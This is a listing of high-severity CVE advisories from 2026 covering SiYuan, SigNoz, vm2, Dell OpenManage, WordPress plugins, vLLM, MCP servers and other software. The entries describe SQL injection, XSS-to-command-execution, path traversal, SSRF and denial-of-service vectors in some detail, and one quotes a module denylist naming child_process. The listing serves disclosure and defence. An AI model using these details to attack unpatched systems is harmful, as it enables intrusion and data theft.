CVE-2026-92985	New	8.6	HIGH				SiYuan versions before 3.8.4 fail to escape bookmark labels imported from notebook files when rendering them in the dock tree. Attackers can craft malicious .sy notebook files with unescaped HTML in bookmark attributes that execute scripts in the Electron renderer with access to child_process for command execution.
CVE-2026-92986	New	8.6	HIGH				SiYuan before 3.8.4 renders document titles as HTML in the backlink dock tree without escaping markup characters. Attackers can set malicious titles through the rename API or crafted notebooks to execute scripts in the Electron renderer with access to child_process for command execution.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-66580	New	8.5	HIGH				Contributor SQL Injection in Product Feed Manager <= 7.12.0 versions.
CVE-2026-71538	New	8.5	HIGH			npm:@cyclonedx/cyclonedx-npm	@cyclonedx/cyclonedx-npm creates CycloneDX Software Bill of Materials from npm projects. Prior to version 6.0.0, the Windows fallback path in src/npmRunner.ts, used when npm_execpath does not provide the npm CLI path, can construct a shell command containing an untrusted value from the --workspace option. When an attacker can influence that option and the fallback npm execut...
CVE-2026-92958	New	8.5	HIGH				vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process']}), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. S...
CVE-2026-93292	New	8.5	HIGH				SigNoz versions from 0.88.0 before 0.142.1 contain a SQL injection vulnerability in trace-funnel analytics endpoints that interpolate service_name and span_name fields into ClickHouse string literals without escaping. Authenticated attackers can inject SQL through funnel step definitions to execute arbitrary queries and read results in HTTP responses.
CVE-2026-93426	New	8.5	HIGH				SigNoz versions 0.87.0 before 0.142.0 fail to escape user-supplied telemetry field-key names in the v5 query_range API, allowing authenticated users to inject SQL. Attackers with Viewer role or higher can embed backticks and quotes in field names to break out of identifiers and string literals, executing arbitrary ClickHouse SQL to read system tables and exfiltrate data.
CVE-2026-54507	New	8.4	HIGH				Vvweb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.5, the oEmbedProxy() handler in admin/controller/editor/editor.php accepts an attacker-controlled url parameter and passes it to getUrl(), while validateUrl() in system/functions.php checks only the hostname string and does not validate its resolved addresse...
CVE-2026-55062	New	8.4	HIGH				uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go concatenates an unvalidated hook filename with the selected hooks directory, allowing parent-directory components to escape that directory. The resulting path is passed to the configured editor, which can access or modify files outside the hooks d...
CVE-2026-54580	New	8.3	HIGH				mport is the MidnightBSD Package Manager. Prior to 2.7.8, libmport/util.c did not make every truncated, corrupt, or failed zstd stream fatal in mport_decompress_zstd(), and libmport/fetch.c did not consistently propagate those failures to index-fetch callers. A malicious or faulty mirror could supply compressed package index data that caused ZSTD_decompressStream() or an out...
CVE-2026-54581	New	8.3	HIGH				mport is the MidnightBSD Package Manager. Prior to 2.7.8, the mport_fetch_bootstrap_index() function in libmport/fetch.c could return success when bootstrap index hash verification encountered a missing or invalid hash because the failure path did not preserve a fatal result. A network attacker or compromised mirror able to alter bootstrap index content or its transport path...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54583	New	8.3	HIGH				mport is the MidnightBSD Package Manager. Prior to 2.7.8, libmport/fetch.c did not consistently reject empty, dot, dot-dot, or slash-containing bundle filenames before composing package download and write paths. Malicious package index data could place an unsafe value in indexEntry->bundlefile, and the missing is_valid_bundle_filename() checks allowed downloaded package data...
CVE-2026-54597	New	8.3	HIGH				ITFlow provides an IT documentation, ticketing and accounting system for small managed service providers. Prior to version 26.07, an authenticated user with module_support write permission and access to a credential record can perform time-based blind SQL injection through the expires parameter of the share_generate_link handler in agent/ajax.php. sanitizeInput applies strin...
CVE-2026-54253	New	8.2	HIGH				TS3 Manager is modern web interface for maintaining Teamspeak3 servers. Prior to 2.2.6, the /api/download handler in packages/server/routes/api.js passes the attacker-controlled port query parameter to socket.connect(port, host) and returns the resulting error.message through res.status(400).send(error.message) as text/html without a Content Security Policy. When a logged-in...
CVE-2026-54354	New	8.2	HIGH				MapServer is a system for developing web-based GIS applications. Prior to 8.6.4, MapServer's PostGIS runtime filter translation in src/mappostgis.cpp and msPostGISLayerTranslateFilter() treats a filteritem as numeric when CONNECTIONTYPE POSTGIS and metadata such as gml_<item>_type=Integer are configured, but it does not verify that attacker-controlled CGI qstring or OGC API ...
CVE-2026-54451	New	8.2	HIGH				Elixir protobuf is a pure Elixir implementation of Google Protobuf. From 0.8.0 until 0.16.1, services that decode attacker-controlled protobuf bytes with Protobuf.Decoder can be taken offline when the schema contains a self-referential or cyclic message type. In lib/protobuf/decoder.ex, Protobuf.Decoder.value_for_field/3 handles an embedded?: true field by recursively enteri...
CVE-2026-56795	New	8.2	HIGH				Dell Server Update Utility, versions prior to 26.07.01, contains an Uncontrolled Search Path Element vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Code execution.
CVE-2026-82760	New	8.2	HIGH				Inefficient Algorithmic Complexity vulnerability in team-alembic AshAuthentication allows an unauthenticated attacker to exhaust CPU and memory via an oversized base62 segment in a submitted API key. AshAuthentication.Base.decode62/1 in lib/ash_authentication/base.ex splits its argument into one binary per character and folds it with charval62/2, which recomputes Integer.po...
CVE-2026-85077	New	8.2	HIGH				Sanic is an opensource python web server/framework. Prior to version 24.12.1, and in version 25.12.0, the HTTP/1.1 response pipeline in sanic/response/types.py serializes response header names and values without rejecting carriage-return or line-feed characters. Applications that place attacker-controlled data in response.headers, file(..., filename=...), or cookie path and ...
CVE-2026-86039	New	8.2	HIGH			npm:@libp2p/peer-store	libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92903	New	8.2	HIGH				Improper input validation in Snowflake CLI versions prior to 3.27.0 allowed unsanitized user-controlled values to be interpolated into SQL strings that are executed as multi-statement queries. An attacker who is able to supply a malicious project configuration file or craft command-line input can cause Snowflake CLI to execute attacker-controlled SQL statements in the contex...
CVE-2026-26950	New	8.1	HIGH				Dell SmartFabric Manager, versions prior to 2.2.1, contains an Insufficient Verification of Data Authenticity vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.
CVE-2026-54446	New	8.1	HIGH				NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing. Prior to 0.1.6, network-reachable HTTP transport requests to /mcp that omit x-netlicensing-api-key, Authorization: Bearer, and the apikey query parameter pass through ApiKeyMiddleware in src/netlicensing_mcp/server.py wi...
CVE-2026-54520	New	8.1	HIGH				AI Agent Automation is a modular AI agent workflow automation platform with schedulers, tools, and observability. Prior to 0.9.1, the executeStep file-step implementation in backend/src/agents/executor.js passes the user-controlled step.path value through path.resolve with process.cwd() and then uses the resulting path for read or write operations without checking that it re...
CVE-2026-54596	New	8.1	HIGH				ITFlow provides an IT documentation, ticketing and accounting system for small managed service providers. Prior to version 26.07, an authenticated Technician or higher with access to at least one client invoice can inject SQL through the frequency parameter handled by agent/post/recurring_invoice.php. The handler passes recurring_invoice_frequency through sanitizeInput but i...
CVE-2026-76834	New	8.1	HIGH				b2evolution CMS versions 6.7.8 through 7.2.5 contain an incomplete fix for CVE-2016-8901 where the serialized-array object check in param_check_serialized_array() fails to reject payloads with negative integer array keys. Unauthenticated attackers can submit crafted serialized PHP objects via POST requests to htshr/call_plugin.php that bypass validation and reach unserialize...
CVE-2026-81442	New	8.1	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Privilege Management vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information tampering and Unauthorized access.
CVE-2026-81475	New	8.1	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.
CVE-2026-81476	New	8.1	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.
CVE-2026-81478	New	8.1	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Use of Hard-coded Cryptographic Key vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-87935	New	8.1	HIGH				The Paid Downloads plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.15 via the admin_request_handler function. This is due to missing authorization and file type validation in the admin_request_handler function, which is reachable unauthenticated via is_admin() returning true for /wp-admin/admin-post.php. This makes it possi...
CVE-2026-92984	New	8.1	HIGH				HUBzero CMS through 2.2.32 accepts session identifiers from query strings and request variables instead of cookies alone, allowing unauthenticated attackers to fixate victim sessions. Attackers can obtain a valid session identifier, send victims a crafted link containing it, and replay the identifier after the victim authenticates to hijack their account and access.
CVE-2026-78428	New	8.0	HIGH				For users authenticated through SAML or OpenID Connect (OIDC), this vulnerability can result in one user receiving another user's authenticated session when multiple SSO login attempts occur concurrently
CVE-2026-25282	New	7.9	HIGH				Transient DOS when processing unverified data from a neighboring system causes out of bound memory access.
CVE-2025-59607	New	7.8	HIGH				Memory Corruption when copying large input data exceeds normal allocation limits.
CVE-2026-24073	New	7.8	HIGH				Memory corruption when processing decode statistics due to insufficient validation of offset against structure size.
CVE-2026-24074	New	7.8	HIGH				Memory Corruption when processing data with large offset and length values exceeds buffer limits during data copy operations.
CVE-2026-24075	New	7.8	HIGH				Memory Corruption when multiple threads issue concurrent IOCTL requests to the device control handler due to improper synchronization and race conditions.
CVE-2026-25278	New	7.8	HIGH				Memory Corruption when processing I2C transfer requests due to a race condition between memory allocation and data copying.
CVE-2026-25280	New	7.8	HIGH				Memory corruption when processing escape handling flow with insufficient user buffer sizes.
CVE-2026-25290	New	7.8	HIGH				Memory Corruption when validating large data buffers from external sources using addition to check buffer length.
CVE-2026-54692	New	7.8	HIGH				SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. Prior to 1.0.0, sail_codec_load_frame_v8_xbm() in src/sail-codecs/xbm/xbm.c allocates the decoded pixel buffer using the X11 one-byte-per-literal layout, but an X10 static short file causes the flat decode loop to write two file-controlled bytes per literal....
CVE-2026-81474	New	7.8	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Heap-based Buffer Overflow vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.
CVE-2026-86320	New	7.8	HIGH				A flaw was found in flatpak-builder where Git hooks are not disabled when applying patch sources with use-git-am: true. An attacker who can provide a malicious source containing a Git post-applypatch hook can cause the hook to execute on the host during the build process, resulting in arbitrary code execution with the privileges of the user running flatpak-builder.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92838	New	7.8	HIGH				A DLL hijacking vulnerability exists in the GeoVision GV-Remote E-Map desktop application. The application loads one or more dynamic-link libraries (DLLs) from an unsafe search path, allowing a local attacker to place a malicious DLL in a location searched before the legitimate library location. If successfully exploited, an attacker with local write access to the affected d...
CVE-2026-93337	New	7.8	HIGH				NetworkManager-l2tp contains an improper input validation vulnerability that allows local users with VPN connection creation permissions to inject arbitrary pppd directives by supplying mru or mtu property values containing trailing non-numeric content after a valid integer. Attackers can exploit the verbatim write of unvalidated strings into the pppd options file via write_...
CVE-2026-48977	New	7.7	HIGH				OpenSlide is a C library for reading whole slide image files. From 3.4.1 until 4.0.1, OpenSlide's parse_level0_xml() processing in src/openslide-vendor-ventana.c accepts nonpositive row or column tile counts from a crafted Ventana BIF file. The invalid counts produce attacker-controlled relative memory offsets and allow arbitrary values to be written at those offsets, affect...
CVE-2026-50158	New	7.7	HIGH				yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/caption/caption.go, where os.Create() creates or truncates that path without using the pkg.Root confinement boundary backed by YUTU_ROOT. A...
CVE-2026-53557	New	7.7	HIGH				SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.9.0, an authenticated user can supply a crafted sheet["tableName"] value in the Excel datasource configuration submitted through POST /api/v1/datasource/, and SQLBot stores that value without safe identifier handling. When the same datasource is later removed through DELETE /api/v1...
CVE-2026-54339	New	7.7	HIGH				Glean is a self-hosted RSS reader and personal knowledge management tool. Prior to 0.2.6, POST /api/feeds/discover passes an attacker-supplied feed_url to discover_feed(feed_url), creates a subscription through FeedService.create_subscription(), and enqueues fetch_feed_task. The background path calls fetch_feed(feed.url) and parse_feed(), which assigns each RSS item link to ...
CVE-2026-81546	New	7.7	HIGH				The Affinity by Canva application before 3.3.0 (September 2026 release) did not perform adequate bounds checking when parsing Affinity document files leading to a stack-based buffer overflow. A threat actor could craft a Affinity document that when opened by a user in Affinity could result in arbitrary code execution.
CVE-2026-45726	New	7.6	HIGH				Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. From 1.3.0 until 1.6.6 and 1.7.3, importing a standalone Talos cluster creates an ImportedClusterSecrets resource containing the cluster's complete CA secrets bundle. The access rules in internal/backend/runtime/omni/state_access.go allow an authenticated user with the Reader role to retrieve the resourc...
CVE-2026-54506	New	7.6	HIGH				Vvweb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.5, app/controller/user/profile.php accepts the user[bio] field and passes stored content through sanitizeHTML() in system/functions.php, whose on* event-handler regular expression omits the forward-slash delimiter and whose do-while condition compares the st...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-66618	New	7.6	HIGH				Administrator SQL Injection in WP Maps <= 4.9.9 versions.
CVE-2026-66619	New	7.6	HIGH				Administrator SQL Injection in Newsletters <= 4.18 versions.
CVE-2026-66624	New	7.6	HIGH				Administrator SQL Injection in WPMasterToolKit <= 2.22.0 versions.
CVE-2026-66625	New	7.6	HIGH				Administrator SQL Injection in WC Vendors Marketplace <= 2.7.2.1 versions.
CVE-2026-66626	New	7.6	HIGH				Editor SQL Injection in SKT Addons for Elementor <= 4.0 versions.
CVE-2026-66628	New	7.6	HIGH				Shop manager SQL Injection in WP-Lister Lite for eBay <= 3.8.11 versions.
CVE-2026-66630	New	7.6	HIGH				Administrator SQL Injection in PublishPress Series <= 3.1.3 versions.
CVE-2026-66631	New	7.6	HIGH				Administrator SQL Injection in MC Woocommerce Wishlist <= 1.9.21 versions.
CVE-2026-78425	New	7.6	HIGH				Authorised users of outside applications behind the same corporate identity provider (IdP), for example, a wiki, a ticketing system, an expenses tool, or anything they legitimately hold an account on can log into their system via SAML SSO. The IdP issues an assertion to them. If that assertion is presented to NeuVector, NeuVector accepts it because the only thing distinguish...
CVE-2026-80218	New	7.6	HIGH				Improper Authentication vulnerability in team-alembic AshAuthentication allows an attacker holding a sign-in token for one authenticated resource to be signed in as a user of a different resource. AshAuthentication.Strategy.Password.SignInWithTokenPreparati on.extract_primary_keys_from_subject/2 parses the JWT sub claim (for example user?id=1) with URI.parse/1 and keeps only...
CVE-2026-82685	New	7.6	HIGH				Authorization Bypass Through User-Controlled Key vulnerability in team-alembic AshAuthentication allows an authenticated attacker to overwrite and confirm another user's email address, and so take over that account. A confirmation token issued to one user is accepted on any other user's record. AshAuthentication.AddOn.Confirmation.ConfirmChange verifies the token's signatur...
CVE-2026-25275	New	7.5	HIGH				Transient DOS when processing authentication frames with invalid FILS information element header lengths.
CVE-2026-50125	New	7.5	HIGH				MKP is a Model Context Protocol server for Kubernetes. Prior to 0.4.1, cmd/server/main.go exposes the default HTTP endpoint and pkg/mcp/server.go registers the unauthenticated get_resource tool, which accepts attacker-controlled limitBytes and tailLines values for the pods logs subresource. buildPodLogOpts() in pkg/k8s/subresource.go parses those values as unbounded int64 pa...
CVE-2026-50275	New	7.5	HIGH				The Datadog PHP Tracer provides application performance monitoring and distributed tracing for PHP. Prior to 1.19.2, ddtrace_deserialize_baggage in ext/distributed_tracing_headers.c parses incoming W3C baggage HTTP headers without enforcing DD_TRACE_BAGGAGE_MAX_ITEMS or DD_TRACE_BAGGAGE_MAX_BYTES. A remote unauthenticated client can send an arbitrarily large number of comma...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-50277	New	7.5	HIGH				dd-trace-cpp is the Datadog distributed tracing library for C++. Prior to 2.1.0, dd-trace-cpp parses incoming W3C baggage headers without enforcing DD_TRACE_BAGGAGE_MAX_ITEMS or DD_TRACE_BAGGAGE_MAX_BYTES on the extraction path, even though those limits are enforced during injection. A remote unauthenticated attacker can send a header containing many comma-separated key-valu...
CVE-2026-50285	New	7.5	HIGH				Pomerium is an identity and context-aware access proxy. Prior to 0.32.8, decodeQueryStringV2 in pkg/hpke/url.go performs zstd decompression of attacker-controlled data without an output-memory limit when DecryptURLValues processes HPKE V2 values for Stateless.Callback in internal/authenticateflow/stateless.go. In hosted or stateless authentication deployments, an unauthentic...
CVE-2026-53534	New	7.5	HIGH				JabRef is a desktop application for managing BibTeX and BibLaTeX libraries. Prior to 6.0-alpha.6, when jabsrv or JabRef's built-in HTTP server is enabled, the GET /better-bibtex/cayw endpoint accepts an external command query parameter and CAYWQueryParams.getCommand() passes it through CAYWResource.getCitation() into PushToSublimeText.getCommandLine(). On Unix-like systems, ...
CVE-2026-54716	New	7.5	HIGH				Valhalla is an open source routing engine and accompanying libraries for use with OpenStreetMap data. In 3.7.0 and earlier, a POST request to /sources_to_targets containing an exclude_polygons ring formed by three collinear points can cause unbounded memory growth in the worker. The zero-area geometry, rather than the other request options, triggers processing in src/loki/po...
CVE-2026-63460	New	7.5	HIGH			npm:vendure/core	Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop GraphQL API allows an unauthenticated caller to supply a catastrophically backtracking pattern through StringOperators.regex. packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts passes the raw pattern to the REGEXP implementation registered by packages/core/src/servi...
CVE-2026-68523	New	7.5	HIGH			rust:fulgur	`fulgur` converts untrusted HTML/CSS into PDF, commonly on a server that processes input supplied by many tenants. In versions prior to 0.19.0, a body-direct child whose CSS-resolved height greatly exceeds the page height was sliced into one fragment per page with no upper bound. This is fixed in 0.19.0. A `MAX_PAGES` cap bounds the slice loop — halting it even for a `+inf` ...
CVE-2026-68537	New	7.5	HIGH			rust:fulgur	`fulgur` converts untrusted HTML/CSS into PDF, commonly on a server that processes input supplied by many tenants. In versions prior to 0.19.0, a body-direct child whose CSS-resolved height greatly exceeds the page height was sliced into one fragment per page with no upper bound. This is fixed in version 0.19.0. A `MAX_PAGES` cap bounds the slice loop — halting it even for a...
CVE-2026-81481	New	7.5	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Filesystem access for attacker.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-81515	New	7.5	HIGH			nuget:Steeltoe.Discovery.Eureka	Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. From 4.0.0 until 4.3.0, EurekaDiscoveryClient deserializes the registry response as one unit, and an unrecognized actionType or status, a non-Boolean isCoordinatingDiscoveryServer, or a nonnumeric timestamp can abort the entire response. A principal th...
CVE-2026-81516	New	7.5	HIGH			nuget:Steeltoe.Discovery.Consul	Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. From 4.0.0 until 4.3.0, ConsulDiscoveryClient constructs ConsulServiceInstance objects by parsing each registration's secure metadata with a strict Boolean conversion. A principal that can register a Consul service can supply a secure value other than ...
CVE-2026-85128	New	7.5	HIGH				The Choose User Role at Registration WordPress plugin before 1.3.3 does not validate the role requested at registration against the roles an administrator chose to offer, allowing unauthenticated users to request any role, including administrator, and to be granted it once the request is approved. Exploitation requires the Choose User Role at Registration WordPress plugin be...
CVE-2026-85715	New	7.5	HIGH			npm:exifreader	ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, th...
CVE-2026-85719	New	7.5	HIGH				The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.1.0 until 2.16.1 and 3.0.12, requests using an authenticated SOCKS proxy can expose the proxy's credentials to the origin because NettyRequestFactory and NettyRequestSender attach Proxy-Authorization without confirming that the request ...
CVE-2026-85721	New	7.5	HIGH			maven:org.asynchttpclient:async-http-client	The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 2.16.1 and 3.0.12, automatic response decompression on the HTTP/1.1 path uses ChannelManager.newHttpContentDecompressor() to install Http1ContentDecompressor without a cumulative output-size limit. A hostile or compromised ser...
CVE-2026-85917	New	7.5	HIGH				Server-side request forgery (ssrf) in Azure AI Foundry allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-86038	New	7.5	HIGH			npm:@libp2p/gossipsub	libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utls/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not ...
CVE-2026-86040	New	7.5	HIGH				libp2p is a JavaScript implementation of the libp2p networking stack. Prior to 11.0.26, @libp2p/floodsub accepts unauthenticated RPC frames on /floodsub/1.0.0 through PeerStreams.attachInboundStream in packages/floodsub/src/peer-streams.ts without protobuf element limits, then processRpc and processRpcSubOpt in packages/floodsub/src/floodsub.ts synchronously process the subs...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-87742	New	7.5	HIGH				A flaw was found in quarkus-websockets-next. This vulnerability allows a remote attacker to cause a Denial of Service (DoS) by streaming messages over a single connection faster than the application can process them. Due to unbounded message buffering and a lack of read backpressure, this rapidly exhausts heap space, leading to a java.lang.OutOfMemoryError that crashes the J...
CVE-2026-92916	New	7.5	HIGH				Grav is a flat-file CMS. In Grav 1.7.0 through 1.7.53.2 and 2.0.0 through 2.0.21, when the debugger is enabled (system.debugger.enabled: true, which is not the default), the Clockwork profiler endpoint is exposed without authentication: InitializeProcessor::handleDebuggerRequest() intercepts any path containing /__clockwork/ during bootstrap and passes it to Debugger::debugg...
CVE-2026-92917	New	7.5	HIGH				Grav is a flat-file CMS. In versions 2.0.0-rc.1 through 2.0.21, the Twig content sandbox fails to restrict the dump and serialize filters (print_r, vardump, json_encode, yaml_encode, string): GravExtension::assertSandboxDumpSafe() determines sandbox state by calling SandboxExtension::isSandboxed() without a Source argument, which reports only the global sandbox flag that Gra...
CVE-2026-92942	New	7.5	HIGH				vm2 before 3.11.7 (affected versions <= 3.11.6) does not enforce the VM({ timeout }) option on code executed outside the synchronous VM#run() call. The timeout only wraps the single call to _runScript() via doWithTimeout() in lib/vm.js, and FinalizationRegistry and WeakRef are exposed to sandboxed code unmodified (they are not among the hardened globals in lib/setup-sandbox....
CVE-2026-92961	New	7.5	HIGH				vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.
CVE-2026-92983	New	7.5	HIGH				InternLM LMDeploy through 0.17.0 in DistServe prefill/decode disaggregation mode fails to release scheduler sessions because the proxy uses user-facing session IDs instead of internal scheduler keys. Unauthenticated attackers can send completion requests to the proxy endpoint that accumulate unreleased scheduler metadata and memory until the prefill worker is out-of-memory k...
CVE-2026-93435	New	7.5	HIGH				redis-parser through 3.0.0 contains a denial of service vulnerability in the RESP protocol parser that allows malicious Redis endpoints to crash the client process through unbounded recursion on nested arrays. Attackers can send crafted RESP byte streams with repeated array headers that exhaust the V8 call stack, causing an uncaught RangeError that terminates the Node.js pro...
CVE-2026-93436	New	7.5	HIGH				vLLM through 0.29.0 fails to properly clean up decode-side metadata for rejected inference requests in prefill/decode disaggregated deployments. Remote attackers can submit requests with max_tokens=0 to exhaust decode-worker memory without bound until the worker restarts.
CVE-2026-24081	New	7.4	HIGH				Transient DOS when processing a channel map with insufficient used channels and adaptive frequency hopping is fully enabled.
CVE-2026-25281	New	7.4	HIGH				Transient DOS when processing large or numerous request buffers without sufficient memory allocation validation.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-25294	New	7.4	HIGH				Transient DOS while parsing frame during channel usage.
CVE-2026-50605	New	7.4	HIGH				A vulnerability has been identified in the Acer Agent Service component included with NitroSense and PredatorSense. Insufficient access controls within a privileged service may allow an authenticated local user to perform unauthorized registry operations. In certain situations, this could lead to privilege escalation or compromise of the affected system.
CVE-2026-50609	New	7.4	HIGH				A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense. Insufficient access controls within a privileged Named Pipe service may allow an authenticated local user to perform unauthorized registry operations. In certain situations, this could lead to privilege escalation or compromise of the affected system.
CVE-2026-50610	New	7.4	HIGH				A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense due to insufficient access controls in a privileged service. An authenticated local user may be able to access the service and perform unauthorized registry modifications, potentially resulting in local privilege escalation.
CVE-2026-78501	New	7.4	HIGH				Improper neutralization of special elements used in a command ('command injection') in Microsoft 365 Copilot's Business Chat allows an unauthorized attacker to disclose information over a network.
CVE-2026-81446	New	7.4	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Server-Side Request Forgery (SSRF) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Server-side request forgery.
CVE-2026-86688	New	7.4	HIGH				Session Fixation vulnerability in team-alembic ash_authentication allows an attacker who can plant a session identifier in a victim's browser to hold an authenticated session once that victim signs in. AshAuthentication.Plug.Helpers.store_in_session/2 writes the authenticated subject into the existing session with Plug.Conn.put_session/3 and never calls Plug.Conn.configure_...
CVE-2026-90997	New	7.4	HIGH				A flaw was found in Keycloak. When deployed in stateless mode with MySQL or MariaDB, a mismatch in row-count semantics between the database driver and Keycloak's application logic allows an attacker to bypass replay protection. This vulnerability enables an attacker who intercepts single-use security artifacts, such as JWT client assertions, DPoP proofs, or one-time password...
CVE-2026-92913	New	7.4	HIGH				AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 uses a cryptographically weak pseudo-random number generator when creating account activation / login pairing codes. getRandomCode() in objects/functions.php derives the code entirely from uniqid() (sprintf('%08x%05x', seconds, microseconds)) with a single non-CSPRNG rand() character used only as padding, reducin...
CVE-2026-25284	New	7.3	HIGH				Information Disclosure when a pointer is reused after being deallocated.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-53554	New	7.3	HIGH				SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.9.0, the POST /api/v1/datasource/parseExcel endpoint in backend/apps/datasource/api/datasource.py uses attacker-controlled multipart filename data when selecting where uploaded content is stored, writes the content before spreadsheet parsing and validation finish, and can transform...
CVE-2026-54634	New	7.3	HIGH				Hamlib is a ham radio control library for radios, rotators, and amplifiers. Prior to 4.7.2, the unauthenticated rigctl_send_raw command on TCP port 4532 reaches rigctl_send_raw() in tests/rigctl_parse.c, which writes a NUL byte at buf[buf_len + 1] outside its 200-byte stack buffer, and rig_send_raw() in src/rig.c, which copies reply_len - 1 bytes instead of the actual nbyte...
CVE-2026-66269	New	7.3	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Protection mechanism bypass.
CVE-2026-76154	New	7.3	HIGH				A stored cross-site scripting vulnerability in the Geomap panel's MapLibre base layer allows a user with the Editor role to execute arbitrary JavaScript in another user's session by hosting a malicious style configuration, enabling escalation to Org Admin.
CVE-2026-80356	New	7.3	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Exposure of Sensitive Information to an Unauthorized Actor vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information exposure.
CVE-2026-81440	New	7.3	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.
CVE-2026-52727	New	7.2	HIGH				lxc-ci contains continuous integration and image-build scripts for LXC. Prior to the 2026-05-28 Arch Linux image publication, images built from images/archlinux.yaml retain the same pacman local-signing private key in /etc/pacman.d/gnupg and redistribute it to every container or virtual machine created from that image. An attacker who controls an HTTP package mirror or can i...
CVE-2026-54646	New	7.2	HIGH				CubeCart is an ecommerce software solution. Prior to 6.7.5, admin/sources/maintenance.index.inc.php places administrator-controlled tablename values into ALTER TABLE, CHECK TABLE, and ANALYZE TABLE statements without validating the identifiers or escaping embedded backticks. An authenticated administrator can terminate the quoted identifier with a closing backtick and introd...
